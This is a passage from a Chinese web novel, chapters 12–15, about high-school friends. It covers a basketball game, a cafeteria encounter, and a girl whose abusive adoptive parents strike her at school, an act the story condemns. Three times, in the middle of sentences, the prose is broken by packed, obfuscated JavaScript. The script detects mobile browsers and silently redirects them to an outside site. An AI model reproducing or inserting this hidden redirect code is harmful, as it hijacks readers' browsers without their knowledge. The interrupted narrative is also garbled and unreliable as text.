江随意猛地攥紧发烫的手机,想起放学时程瑶红着眼眶说的那句:“我不是你,没有那么多选择。” 手指在手机屏幕上悬了半分钟,输入框里的文字从“我们聊一聊”变成“明天一起去学校吗”,直到连标点符号都一点点消失。最后只是转身跑到奶茶店买了杯冰镇柠檬水,拜托店员送到程瑶手里。 被拒绝了几次后,店员干脆就将东西直接塞进了她手里,匆匆忙忙留下一句:“有个女孩子买给你的。” 程瑶不知所措地握着那杯沁出水珠的柠檬水,水珠顺着杯壁滚进她虎口。 不知道是玩偶服太过沉重,还是因这突如其来的柠檬水,程瑶的心扑通扑通地跳着。 玻璃幕墙倒映出江随意仓皇逃离的背影,程瑶抬头望着商场顶上璀璨的吊灯,突然蹲在地上捂住脸。 江随意总是嫌弃柠檬水太酸,可却从来没有拒绝过程瑶递来的。暴雨下的屋檐根本遮不住风雨,但唯有江随意会挡在她身前据理力争。 “小姑娘,你没事吧,需不需要帮忙?”保洁阿姨的放下手里的拖把,轻轻拍了拍程瑶颤抖的肩膀。 程瑶胡乱抹了把脸站起来,玩偶服里的衣服已经被汗水浸湿:“没事,就是有点高兴。” 这话没头没尾的,听得阿姨有些不放心。见她穿着一身玩偶服,满头大汗的:“是累着了吧?小姑娘家家的怎么出来受这个罪,赶紧脱掉去厕所里擦擦汗,歇一歇别给闷坏了。” “谢谢阿姨。” 吸管被咬得瘪下去,雨停后檐下滴落的水珠,此刻全从她眼眶里涌出来。 江随意慌乱地从商场里跑出来,不知不觉走到了江边。白日里太阳总是炙烤大地,江面还蒸腾出咸腥的水汽。可太阳西沉后,江河陡然换了脾性。 湿冷的雾气贴着皮肤游走,风从上游卷着碎冰碴似的寒意,让江随意不自觉缩起脖子,把外套裹得更紧了些。 三艘红色的游览船拖着光带缓缓移动,舷窗透出的暖黄灯影碎在墨色江波里。江岸步行道变得热闹起来,夜跑者戴着荧光手环从旁经过,几个老人背手踱步闲聊。 江随意盯着突然震动的手机,朋友圈里躺着程瑶两分钟前发的动态,照片里那杯柠檬水摆在便利店的休息台前,配文是三个字: “太甜了。” 12. 一场球赛 外面的风很大,马路上尘土飞扬,卷起阵阵呛人的沙尘。江随意过来时,一眼便看见程瑶坐在公交站的长椅上,对方正低头摆弄着包上的金属扣。 江随意的脚步顿了顿,最终还是挨着她坐下。 一辆辆汽车从面前行驶而过,两个人谁都没有开口。 程瑶的帆布鞋尖蹭着地砖缝隙里的杂草,直到公交车轰隆隆驶来,她才突然起身,书包带子顺势滑到肘弯。江随意跟在她身后上车,投币时硬币“叮当”一声坠入铁箱,程瑶回头指了指后排的双人座。 车子颠簸着穿过林荫道,程瑶从包里翻出耳机线,指尖在缠绕的线上打转。江随意瞥见她手背上一小块淤青,像是被什么硬物硌出的痕迹。 耳机突然被递到眼前,程瑶垂着眼道:“听吗?” 江随意接过一只耳机塞进耳朵,熟悉的英语听力声并未响起,取而代之的是轻快的吉他前奏——程瑶的MP3播放列表里多了十几首新歌。 即将落下的阳光透过车窗在两人膝盖上投下晃动的光斑,江随意悄悄地将身体往程瑶的方向挪了半寸。 回各自班级的路上,程瑶突然拽住江随意的袖口:“那天兼职……是商场有做活动。一晚上给了一百,虽然累但钱是现结的。”她快速说完,“爷爷已经醒过来了,现在我小姑回来照顾着,你别担心。” 江随意愣住,程瑶却已经松开手大步往前走。树影掠过她泛红的耳廓,江随意追了上去,将落在她这的耳机塞回对方的手心:“要不要一起去小卖部?我请客。” 程瑶攥紧耳机线,从兜里摸出两颗柠檬糖塞过去:“还去什么小卖部,再不快点就要迟到了。” 操场边的香樟树晃着枝叶,江随意剥开糖纸,酸涩的甜味在舌尖漫开。 周一体育课前,体委陈明明正蹲在走廊拐角发愁。他们班里男生本来就比较少,体育课还总是和高二(六)班撞上,每回打球的场地都抢不过人家。 原想着来了个顾橖河,怎么说也能凑个数,但偏偏这些没良心把这事儿压在他身上。 “小明儿,你去问了没?”林尧把手搭在陈明明的肩膀上,“难得没被占课,别到时候一块地都没有。” “瞎喊什么呢,谁是小明?你才是小明。”陈明明一把拍掉他的手,然后抓了抓头发,“出主意的时候到会起哄,怎么你不去说?你看都一个多星期了,顾橖河搭理过谁?” 林尧:“你可是我们高二(3)班最猛的男人,当然得你去说。” 陈明明一脚踹他身上:“还用你说。” 在‘最猛的男人’陈明明第六次经过后排座位时,顾橖河停下了笔:“你有事吗?” 陈明明尴尬一笑:“没呢,我坐久了起来走动走动,哈哈,你写题呢。”他晃着两只无处安放的手,“你继续写......今天这天还挺好的,挺适合打球的,是吧?” “没事的话麻烦让一下,你挡到黑板上的题目了。” 林尧在旁边没忍住笑。 陈明明瞪了他一眼,然后挠挠头说:“等下体育课,你想一块去打球吗?” “不去。” 拒绝得很干脆,也在意料之中。 老师一说自由活动,陈明明就带着班里的男生迅速跑到球场。 “呼——可累死我了,他们还没来吧?赶紧......”话还未完,转头却见高二(六)班的男生抱着篮球从球场外进来,领头的故意扬声道:“三班今天来了几个人啊?那球场我们先占了啊!” 三班的男生顿时炸了锅。 顾橖河被吵得皱眉,他刚跑完步坐在附近的树下休息,正要起身换个地方,突然听见篮球砸地的闷响。 陈明明被气得涨红脸:“你们班二十个男生还抢地方,要不要脸?” “谁让你们班人少,那么大的地空着也是浪费。”挑衅的男生在原地拍着球。 “你也说了地大,凭什么不让我们待这?” “话这么多,你们班男的都在这了吧,那干脆来打一场好了,输了的连着两星期都别进球场。” 林尧转头数人,正对上篮球网外走过的顾橖河。 顾橖河手里拿着喝完的矿泉水,瓶身被捏得“咔啦”一响,扔进垃圾桶,然后大步走到陈明明身边:“我们班的球呢?” 哨声响起时,江随意在和周望玥打羽毛球。隔壁篮球场突然爆发出一阵欢呼,她抬头望去,正看见顾橖河跃起扣篮。 额前的碎发被汗浸湿,校服下摆掀起一角,露出劲瘦的腰线。起跳时绷紧的肩胛骨像张拉满的弓,仿佛要把所有压抑的情绪都砸进这场球赛里。 篮球砸在篮板上发出“砰”的巨响,对面防守的男生踉跄半步,顾橖河却已稳稳落地。 “没想到他打球这么厉害。”周望玥咋舌,“有点帅。” 江随意捡起羽毛球:“之前你还说他凶来着。” “那时候不是不熟吗。” “怎么,现在熟了?什么时候的事情,说来听听。”江随意逗着她,成功得到了周望玥一个白眼。 “是是是,我不熟,你和他才是最熟的。”周望玥也故意呛回去,“不过说真的,这几天确实没见过顾橖河跟谁有什么交流,你俩除了那天打招呼以外,还有再讲过话吗?” 江随意摇摇头:“也就是初三那年比赛见过一次,说不上熟。” “好吧。不过墙墙底下倒是有不少八卦。”她放下球拍,跑到江随意身侧。 “墙墙是谁?” “江河学子高考神墙啊,你不会到现在还没加吧?”周望玥颇为震惊。 就是一个整理发布各地区考情和高校分析的□□号,偶尔也会有人在评论底下八卦。但江随意一般都只在上面找一找近期省内各地考过的试卷题目。 “哦,我加了,但没怎么关注。” 周望玥:“顾橖河好像没去上A中,听说他这次是省外转回来的。” “他没去A中?” “对啊,底下评论是这么说的,也有人找A中的同学问过了,顾橖河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635286|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实不在那边。” 江随意朝篮球场望去,那里又是一阵欢呼,场上已经聚集了不少人。 比分咬得紧,最后一分钟时,顾橖河被三人包夹。他忽然将球向后一抛,陈明明接球后愣了一秒,随即一个假动作骗过防守,篮球在空中划出抛物线。 “进了!”三班学生跳起来击掌,裁判也吹响了哨子:“时间到!平局!” 对面领头的男生喘着粗气走过来,突然将一瓶冰水扔给顾橖河:“可以啊你,我算服了,下次直接让你们半场。” 顾橖河将矿泉水贴在发烫的后颈,接着又拧开瓶盖,仰着头,水珠顺着喉结滚进衣领。 他忽然很轻地笑了一声:“用不着让。” 周望玥拉着江随意就要往球场去。 想着马上要集合了,江随意懒得再多走几步,正想转身拒绝,却看见顾橖河仰头喝水的喉结滚动,他忽然转头精准接住她来不及收回的视线。 周望玥顺着江随意的目光望去:“他该不会是在......” 体育老师突然吹响哨子,江随意立马扯过周望玥往操场上走去。 “哎呀,你急什么?意意,他刚才是不是在往我们这边看啊?”周望玥捡起被遗落的球拍,追上去,“你慢点等等我。” 体育课结束后,大家熙熙攘攘奔着小卖部去了。 周望玥急着上厕所:“意意,只能拜托你去放一下了,不然等会儿就没我的坑位了。” 江随意抱着装羽毛球的网兜去器材室。铁门在身后吱呀合拢,器材登记本不知道被谁随手抛在铁架顶端,正歪斜着卡在金属网格间。 她踮脚去够,身后突然伸来一只手,轻易就将本子抽了下来。 顾橖河将东西给她,身上还带着运动后的热气。 “谢谢。” 江随意接过登记本时指尖不慎碰到他的手,灼人的体温烫得她险些没拿稳。视线落下,她注意到对方的手上有几处擦伤。 “看什么?”低沉的嗓音惊得她后退半步,后背抵上冰凉的器材架。顾橖河垂眸撕开没粘好的创可贴重新按在渗血的指节上,那是方才抢篮板时蹭破的伤口。 器材室白炽灯管忽然闪烁两下,江随意不知为何紧张起来,周遭的声音变得异常安静。 “你......” 他们同时开口,却又停住。 门口一阵笑骂声传来,陈明明和林尧抱着一部分器材冲进里面。 “又是扔了一地,每回都要我俩去捡回来。” “那能怎么办呢,不收拾又要挨批了。” “今天是真的爽啊,话说顾橖河后来......咦?你在这啊,正说你人去哪儿了。”林尧哗一下将东西扔在地上,见顾橖河身后还有一个人,“江随意,你也在啊。” 陈明明跟着打了声招呼然后在桌上翻找着:“登记本给扔哪里去了啊?” “在这里。” 江随意划掉上面的名字,把登记本递了过去,然后快步离开器材室。 13. 避无可避 器材室里的热气似乎还黏在皮肤上,但日子却飞快地往前滑。转眼又是新的一周,南江中学的节奏依旧紧张得如同拧紧的发条。 江随意把自己埋进书堆和试卷里,试图用这种密不透风的忙碌,压住心里那些理不清的念头。 直到一只冰凉的手猝不及防贴上她的后颈,江随意猛地打了个激灵转头,正撞进周望玥含着笑意的眸子:“吃饭啦,意意同学。” 她搓了搓手说:“冻死我了,这狗天气变得可真快。” 江随意摸了摸后颈:“程瑶她俩先过去了吗?”虽说不在同个班级,但她们四个人总是会一块去吃饭。 “她俩先回宿舍洗头了,让我们把饭菜打包回去吃。”周望玥将手搓热,又从桌边的袋子里拿出伞来,“你赶紧把外套穿上,外面下雨了,风吹着还有点冷。” “好。”江随意把秋季的校服外套拿出来,穿上后将袖口松紧带处的魔术贴收了收,免得吹进风。 食堂窗口永远排着望不到头的长龙,油烟味和喧闹的人声混在一起。 江随意垂下的手突然被一股力道拽住,以为是周望玥已经打包完饭:“你好了……”她回过头,话没说完便卡在喉咙里。 顾橖河排在另一道队伍里不知何时靠近,正静静看着她。那目光先是落在她脸上,短暂停顿后,便像被什么牵引着,沉默地向下移动。 江随意顺着他的视线看去,这才发现自己校服袖口上的魔术贴不知道什么时候松开了,此刻正严丝合缝地粘在了顾橖河的袖口上。 两人的袖子因此被紧紧拉扯在一起。周遭的空气仿佛凝固了几秒,只有这个意外的连接点显得格外醒目。 顾橖河也像是才确认了这个状况,视线在那片小小的、粘合的区域停留片刻,又缓缓抬起来,重新看向她,眼神里带着点无声的询问。 江随意下意识屏住呼吸。 “意意!” 周望玥的声音惊得她将手收回,原本粘连在一起的魔术贴唰一下又分开了。 周望玥从人群中挤了过来,她靠着江随意,垫脚望向窗口,并没有注意到一侧的顾橖河。 “怎么还有那么多人啊,感觉都没啥菜了。” 她们被人流裹挟着缓慢向前。江随意耳根子有些发烫,余光忍不住往身侧瞥,却发现旁边的队伍一直没有往前移动。 “你咋啦?”周望玥回头看她。 “没事。” 忽然一个男生插队挤到了江随意前面,动作蛮横,差点撞到她的胳膊。 但江随意还没从方才那件事里回神,只是下意识地往后退了半步。 周望玥火气直冲头顶,刚要开口理论,一只骨节分明的手从斜后方伸过来,稳稳地挡开了那个男生再次挤过来的肩膀。 “排队。”声音不高,却带着不容置疑的冷硬。 一旁的队伍突然间向前飞快地移动,顾橖河又一次站在了江随意身侧。 她俩同时回头,对方的脸上没什么表情,直直地盯着那个插队的男生。 那男生被看得发毛,又见顾橖河身量高挑,眼神慑人,嘴里嘟囔了两句“多管闲事”,还是悻悻地退回了原位。 顾橖河收回目光,重新垂下眼睫,周身那股生人勿近的低气压又无声地弥漫开来。 “哇哦......”周望玥用胳膊肘轻轻撞了撞江随意,压低声音,眼睛里闪着八卦的光,“英雄救美啊意意!他刚才那眼神,啧啧,好吓人,也好帅!上次体育课我就想说来着,他分明就是在看你。” 江随意的心在顾橖河出手的瞬间猛烈跳动起来。此刻被他周身那股冷意包裹,那点悸动又被一种莫名的酸涩压了下去。她低下头,含糊地应了一声:“都是一个班的。” 她想起器材室里对方捡起登记本时手背上的擦伤,想起篮球场上他锐不可当的样子,以及再见时讲台上他那双沉寂的眼睛。这些碎片拼凑不出一个完整的顾橖河,却让江随意心底的疑问像藤蔓一样疯长。 食堂里意外的插曲在顾橖河脑海里挥之不去,走廊上人声嘈杂,他却只记得对方那错愕的表情,有趣又可爱。 正准备回教室时,却见林尧抱着一沓作业本站在面前。 “嗨~”林尧拦住他的去路,“方便帮我送下作业嘛?广播室那边快要迟到了,等下又要被部长骂。” 对方眼里的笑意收拢再次变得平淡无波,这让林尧下意识地缩了缩脖子,就在以为会被拒绝时,顾橖河接过了那摞沉甸甸的作业本。 林尧摸摸鼻子,嘀咕道:“刚瞧着不还挺开心的嘛。” 办公室在三楼东侧,安静得只有雨点打在窗户上的声音。生物老师正趴在桌上休息,听见声音后只是抬头看了一眼。 顾橖河将作业本轻轻放在办公桌上,正要转身离开,办公室的门被推开了。 江随意拿着一份生物的练习卷走了进来,显然是要来找老师答疑。看到顾橖河站在桌旁,她脚步顿了一下,显然没料到会在这里再次遇见他。 “我......我来找叶老师。”江随意扬了扬手里的卷子。 顾橖河沉默地点了下头,侧身让开位置,示意她可以过去。 叶老师再次抬起头,打了个哈欠:“来了啊。” 江随意走到桌边,将卷子摊开,指着其中一道遗传图解大题,眉心拧着小小的结。 顾橖河并没有立刻离开,而是站在两步开外,倚着旁边一个文件柜,目光落在江随意指的那道题上。 办公室里光线很好,窗外高大的树投下斑驳的光影,跳跃在对方微微蹙起的眉心和专注的侧脸上。 她解题时的神态,和当初数竞比赛时那种掌控全局的锋芒不同,此时带着一种被难题困住的苦恼。 “这题是挺难的,你先写着吧,我得去开会了。”叶老师给江随意讲解完,拿着笔记本就准备离开,“要是还有问题就晚上自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾橖河像是被惊醒的困兽,几乎是逃离般大步走出了办公室。步伐快得带起一阵风,仓促又狼狈,消失在门外走廊的光影里。 心脏在胸腔里沉重又慌乱地跳动着,江随意慌忙收回目光,指尖冰凉,下意识地用掌心盖住了卷子上那个刺眼的墨点。 《梁祝》已经接近尾声,哀伤的余韵在空旷的办公室里低徊,最终缓缓消散。 广播里换上了轻快的校园歌曲,主持人介绍着接下来的音乐节目。 “刚才那首经典的《梁祝》选段真是百听不厌啊。接下来,让我们轻松一下,听听这首......”主持人的声音顿了一下,似乎在看稿子,“哦,这首曲子也很有意思,是《我在故宫修文物》的主题配乐选段,那就带大家一起感受时光沉淀下的匠心和宁静......” “修文物”三个字像一把小小的钥匙,轻轻叩动了江随意记忆深处某个尘封的角落。仙河中学那间斑驳的老教室里,逆光站在门口的男生,带着戏谑笑意的声音仿佛穿透时光,再次响起在耳畔—— “同学,历史文物不要乱碰哦。” 14. 野草劲生 广播里的音乐还在走廊上回荡,江随意才刚走出来,就见陈诺神情慌乱,冲过来一把抓住她的胳膊。 “意意,不好了出事了,林老师把程瑶她爸妈找来了,现在里面吵得可凶了,我都不敢进去。” 她们是同寝室友,对程瑶家里多少还是了解一些的。 “阿瑶爸妈?”江随意的心一沉,一股寒意瞬间窜遍全身。她甚至来不及细问陈诺更多细节,转身就往高二段班主任办公室方向狂奔。 她见过程瑶的父母,或者说,他们根本称不上是父母。 办公室的门被推开一条缝,程瑶父母那番令人心寒的议论像淬了冰的刀子,明晃晃地悬在空气里。 程瑶就站在门口,脸色惨白得像一张揉皱又被强行展平的纸。 办公室里死寂了一瞬。 程瑶父亲率先反应过来,他几步跨到门口,高大的身影堵住了光线,也堵住了程瑶下意识想后退的路。 “反正是捡来的败家玩意儿,早就说你这书读不起来,现在就滚回去嫁人。” 话音未落,那只沾着烟渍的手已经高高扬起,裹着一股令人作呕的劣质烟草和汗酸混合的气味,狠狠朝程瑶苍白的脸颊扇去! “啪——” 还未等其他人反应过来,又是一掌—— 江随意猛地从后面冲出来,硬生生撞开了程瑶父亲,巨大的冲力让她撞上了旁边的桌角,疼痛瞬间从腰间炸开,但她依旧站稳身子挡在了程瑶前面。 “你干什么!”不顾腰侧的钝痛,声音带着从未有过的尖利,像只炸毛护崽的兽犬,死死瞪着眼前比她高出许多的男人,“你凭什么打人!” 办公室彻底乱了。 “简直是没天理了,就你们这样的还配做父母吗?”林燕气得浑身发抖,指着程瑶父母,声音都还在发颤,“这里是学校,不是你们撒野的地方!” 程瑶母亲见程瑶父亲被江随意撞开,又被林燕指着鼻子骂,也恼羞成怒地上前拉扯:“又是你这个小丫头片子,赶紧滚开!我们教训自己女儿关你屁事!” “就关我的事!”江随意半步不退,腰间的疼痛让她额角渗出冷汗。 走廊上闻声赶来的几个老师和保安终于冲了进来。两个保安一左一右架住了暴怒的程瑶父亲,另一个老师则拦住了激动的林燕。 “放开!你们这样信不信我去教育局投诉你们!”程瑶父亲还在挣扎咆哮,唾沫星子横飞。 “请你冷静!这里是学校,你再这样闹下去我们就要报警了!”保安厉声喝道。 那男人被架着,挣扎的力道渐渐弱了下去,只剩下一双浑浊的眼睛依旧不甘地瞪向江随意,嘴里不干不净地骂着。 林燕被同事半扶半劝地安抚着坐下,胸口剧烈起伏,脸色铁青:“就你们这样的还配为人父母嘛?那么好的一个孩子,真是遭了大罪才遇上你们。” 那对夫妇最终骂骂咧咧地被架出了办公室。劣质烟草的气味随着他们的离开在空气里慢慢变得稀薄,却留下一种更深的污浊感。 办公室的门被轻轻带上,隔绝了外面的喧嚣却比之前更加沉重,压得人喘不过气。 林燕靠在椅背上,闭着眼,胸口还在微微起伏。刚才的怒气和震惊褪去后,只剩下浓重的疲惫和一种深切的无力感。 教书这么多年,见过形形色色的家长,却从未见过如此凉薄粗暴,甚至将女儿视作交易筹码的父母。 林燕很后悔,如果在接班之前有多多关注这些孩子的家庭状况,今天就不会将程瑶的父母请来。 她睁开眼,目光落在僵立在原地的程瑶身上。 程瑶依旧维持着被江随意护在身后的姿势,微微低着头,看不清表情。左脸颊上留下了一道清晰的红痕,微微肿起,整个人像一株被狂风骤雨摧残过的小草,脆弱得随时会折断。 “程瑶......”林燕的声音沙哑又沉重,站起身走到程瑶面前。她伸出手,想碰碰程瑶红肿的脸颊,又觉得不妥,最终那只手只是轻轻地、安抚性地落在了对方微微颤抖的肩膀上。 “没事了......孩子,没事了。”林燕的声音很低,带着一种近乎痛惜的温柔,“是老师......对不起。” 程瑶一直低垂的眼睫剧烈地颤动了一下,她死死咬住下唇,没有发出一点声音,只有肩膀在林燕的手下抖得更加厉害。 江随意捂着还在隐隐作痛的腰侧,看着这一幕,鼻腔酸涩得厉害。她默默地上前一步,伸出手,轻轻握住了程瑶冰凉的手腕。那只手腕纤细得惊人,皮肤下凸起的腕骨硌着江随意的掌心。 “老师,”江随意吸了吸鼻子,努力让自己的声音听起来平稳些,“我先带程瑶回宿舍休息一下。” 林燕长长地叹了口气,疲惫地点点头:“去吧程瑶,今天下午的课先不用上了,回去好好休息。有什么事,随时来找老师。”她又看向江随意,“你好好看一下她,你们陈老师那里我会去说的。” “我会的,老师。” 程瑶像个被抽走了线的木偶任由江随意牵着手腕,机械地迈着步子,眼神空洞地望着前方。 她脸颊上的红痕在阳光下显得更加刺眼。 江随意腰侧的撞伤也在一跳一跳地疼,但她紧紧抿着唇,一声不吭,只是更用力地握紧了程瑶冰凉的手。 早上窗帘忘记拉开,宿舍里光线昏暗。安静的空间反而让刚才办公室那场激烈冲突的余震更加清晰地回荡起来。 江随意扶着程瑶在床边坐下,又去拧了一把冷毛巾。拿着毛巾走回床边时发现程瑶正低着头,目光没有焦距地落在自己放在膝盖上的手上。 她一遍又一遍地撕扯着手背上那张边缘翘起的创口贴。 动作缓慢,带着一种自虐般的麻木。 江随意用冷毛巾轻轻地贴在程瑶的脸上,冰凉的触感让她的手几不可察地缩了一下。 “疼吗?”江随意抬头看她。 过了好几秒,程瑶才极其缓慢地摇了摇头。 “其实他们说的也没错。”她的声音很轻,像一片羽毛落在安静昏暗的宿舍里,却带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635288|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着千钧的重量。 江随意擦拭的动作忽然顿住,抬起头,愕然地看着她。 “我和你撒谎了。”她语气平静得可怕,仿佛在陈述一个与己无关的事情,“其实我并不是他们亲生的。” “很小的时候......大概刚会走路吧?我就被扔在村口的垃圾堆旁边了,是我爷爷捡破烂回来的时候听见哭声,然后把我捡回去的。” 程瑶的声音更低了些:“也是他用米汤一点一点把我喂大的。后来我爸妈,就是刚才那两个人,他们生不出孩子就把我抱走了。爷爷拦不住......他们给了爷爷一点钱,很少的一点钱。” 她顿了顿,嘴角那抹讽刺的弧度加深了一点:“大概...比今天的彩礼钱少多了吧?” 像是无法忍受创口贴边缘那最后一点粘性,程瑶用力扯开,然后把它狠狠攥在手心。仿佛那不是一张创口贴,而是她无法挣脱且被标价的人生。 “意意...你不知道,我一直...一直......”程瑶哽咽住,“一直在偷偷羡慕你,甚至有时候会嫉妒......” 江随意蹲在她面前,张了张嘴,喉咙却像被什么东西死死堵住,发不出任何声音。程瑶平静的叙述像冰冷的潮水,瞬间淹没了她。 腰侧的撞伤还在隐隐作痛,可此刻那些疼痛在程瑶轻描淡写揭开的身世面前显得如此微不足道。 难怪她总是那么拼命,那么害怕成为别人的负担。 因为她的根,从来就不在那对把她视作“赔钱货”和“彩礼来源”的父母脚下。她像一棵从石头缝里挣扎长出的野草,唯一的养分和依靠是那个用米汤将她喂大却无力保护她的爷爷。 “阿瑶。”江随意终于找回了自己的声音却干涩得厉害。双手轻轻覆上程瑶紧紧攥着的手,试图用自己的温度去暖热。 “这不是你的问题,你做得够好了!程瑶,你已经做得够好了!” “现在爷爷病了,需要很多钱,但他们不肯出。” “姑姑也不能一直留在这里,所以我得自己挣。”她终于抬起头看向江随意,那双总是沉静的眼睛里,此刻只剩下疲惫,“读书考大学,这是我能想到的,唯一能改变点什么的路。” 程瑶抬起手,有些笨拙地轻轻碰了碰江随意的脸颊,指尖触到一片湿热的泪水。 “别哭啊,意意。”她的声音很轻,目光落在江随意腰侧,“撞疼了吧?谢谢你刚才挡在我前面。”她的手指轻轻抚过江随意校服外套下可能淤青的位置,动作小心翼翼。 江随意再也忍不住,紧紧地抱住了程瑶。她能感觉到对方身体的僵硬,但很快那僵硬一点点软化下来,最终一双手臂也轻轻地环住了她的后背。 程瑶将脸埋在江随意的肩窝,身体开始无法抑制地颤抖起来。 “意意,你是除了爷爷以外,唯一还会护着我的人。” 没有嚎啕大哭,只有压抑到极致的细碎呜咽。滚烫的泪水迅速浸湿了江随意的肩头,而她只是更用力地回抱住,一只手轻轻地拍着程瑶的背。 15. 努力长大 医务室消毒水的气味冲得人鼻腔发涩。校医皱着眉,手轻轻按压江随意腰侧那片迅速蔓延开来的青紫。 “嘶——”江随意没忍住抽了口气,绷紧身体。 “撞得不轻啊。”校医收回手,拉开抽屉拿出一瓶红花油,“这几天别剧烈活动,也别久坐,课间的时候起来站一站。这药油拿回去,晚上让室友帮你揉开,不然有得疼。” 她目光扫过一旁程瑶脸上刺目的红痕,最终只是叹了口气,“你们这些孩子......唉,拿着吧。” 学校里的事传得快,她多少也听到了一点。 两人谢过校医,一前一后走出医务室。江随意咬着下唇,腰间的痛楚随着步伐一阵阵抽紧。 程瑶:“还疼得厉害?” “还好。” 江随意摆手笑了笑,安慰她道:“校医不是说了,揉开就好,没多大问题。” 她侧过头看程瑶的脸颊,那清晰的指印比方才肿得更高了些:“你的脸回去还得再敷一下。” “我好些了。”程瑶飞快地打断她,别开脸,声音低下去,“对不起,意意,连累你了。” “你不用一直和我道歉。”江随意停下脚步,因为动作牵动伤处,眉头立刻拧紧,声音却异常坚定,“程瑶,我们是朋友。在那种情况下,换做是我,你也会冲出来的,对不对?” 她看着程瑶,心头堵得难受:“该说对不起的是他们,是那两个......那两个人。”在知道程瑶的身世后,她再也不能把他们当做程瑶的父母去看待了。 回到宿舍时,周望玥和陈诺已经焦急地等在里面,桌上放着从食堂打回来的饭菜。 一见她们进来,周望玥立刻过来:“怎么样怎么样?我听说还动手了,保安把人带下去时......阿瑶你的脸......”她看到程瑶脸上的伤时倒吸一口凉气。 “这是谁打的?!” 陈诺赶紧把凳子拉过来让她们坐下,又把饭菜摆开:“先吃饭,边吃边说。” 程瑶默默地把自己的凳子挪到江随意身边,挨着她坐下,仿佛这样能汲取一点支撑的力量。 在听完程瑶的话,周望玥忍不住甩筷:“这都什么年代了怎么还有这样的人!保安拉他们出去的时候我就该冲上去踹两脚。”她越说,眼眶也跟着红了起来,是替程瑶感到委屈。 “那你们班主任后来说什么了吗?” 程瑶握着筷子扒拉着碗里的米饭,但米粒几乎没怎么减少。 “林老师说,学校已经了解了我的情况,后续的问题他们会想办法,让我先安心读书。” “那就好!那就好!”周望玥松了口气,随即又愤愤不平,“真是太过分了!天底下怎么会有这样的父母!阿瑶你别怕,大不了周末你住到我家去,省得被他们欺负。” 陈诺也点头说:“对啊,你周末还是先别回去了,住我家也成。总之你也别想着申请走读了,有什么困难我们一起想办法。” 江随意听见陈诺的话,又问道:“阿瑶你说实话,现在钱到底够不够?” “意意。”程瑶打断了她,眼神里带着坚持,“钱的事,我自己会想办法,学校里也帮我申请了补助。走读和兼职的事情我不再考虑了,林老师说的对,现在最重要的是学习。” “其他的我也会再跟姑姑商量。” 她深吸一口气,仿佛用尽了全身力气才说出后面的话。 “如果真的有需要,我不会再瞒着你们了。” 晚上自习课的时间变得格外漫长。 腰伤让江随意无法像往常一样挺直,只能微微佝偻着,手肘撑在桌面上借力,笔记本上的字迹也潦草了许多。 更让她分神的是顾橖河的空位。 他瞬间惨白的脸和逃离的背影就像一组慢镜头,不断在脑海里回放。 课间休息的铃声让江随意得到了拯救,她几乎是瘫软在课桌上,额头抵着冰凉的桌面,试图缓解腰背的僵硬和酸痛。 周望玥凑过来,递给她一个保温杯:“喝点热水,要不要再去医务室看看?感觉你的脸色好差,都说让你晚自习也请假好了。” 江随意摇摇头,接过杯子。 “没事,趴会儿就好。” “对了,”她犹豫几秒,问:“你知道顾橖河人去哪里了吗?” “顾橖河?”周望玥往后看了一眼那个空位,“他下午人就没来,不过他好像也是走读的,估计家里有事请假回去了吧。” 江随意继续趴着没有说话。 老师多讲了几题,晚自习下课比平时晚了几分钟。陈诺和周望玥冲去买夜宵了,只是食堂里人太多,就让江随意先回寝室。 入秋的夜风带着寒意,毫无遮挡地从衣摆处灌进来,江随意裹紧了校服外套。 离熄灯还有一阵子,宿舍楼里还是一片亮堂。水房传来洗衣机滚筒滚动的闷响,伴随着此起彼伏的吹风机嗡鸣声。 江随意推开寝室门,程瑶正坐在自己床上的小桌板前埋头飞快地写着什么。 听到开门声,程瑶抬起头,脸上还带着未干的泪痕,但眼神却异常清亮。 “回来了?”她的声音有些哑,“她俩呢?” “买夜宵呢,人多我就先不挤了。”江随意反手关上门。 “把我按在寝室里休息,自己非要去上晚自习。”程瑶放下笔,目光落在江随意那不自觉扶着腰的手,“药油呢?我帮你在揉揉。” “柜子里。” 程瑶下床,找到药油拧开瓶盖,浓烈的药味瞬间在狭小的空间里弥漫开来。她搓热了手心,倒上药油,示意江随意趴在床上。 微凉的手带着温热的药油,小心翼翼地触碰到那片青紫的肌肤,然后力道由轻到重开始揉搓。 “校医是说这样揉的吧?会不会重了点?” “没事......嘶——”剧烈的酸胀痛感让江随意忍不住抽气,她把脸埋在枕头里,手指紧紧攥着床单,指节因为用力而泛白。 不知过了多久,那尖锐的痛楚终于渐渐退却,取而代之的是一种带着热意的酸痛,腰部的肌肉仿佛在药力的作用下慢慢松弛下来。 程瑶手上的力道也终于放轻,最后变成一种安抚性的轻拍。 “好了。”程瑶拉过薄被轻轻盖在江随意的腰上,“趴着别动,让药油再渗一会儿。” 寝室里重新安静下来,外面吵闹的一切似乎都与她们无关。药味包裹着她们,像一层无声的屏障。 程瑶起身去洗手,后又将窗户打开一点,试图让味道 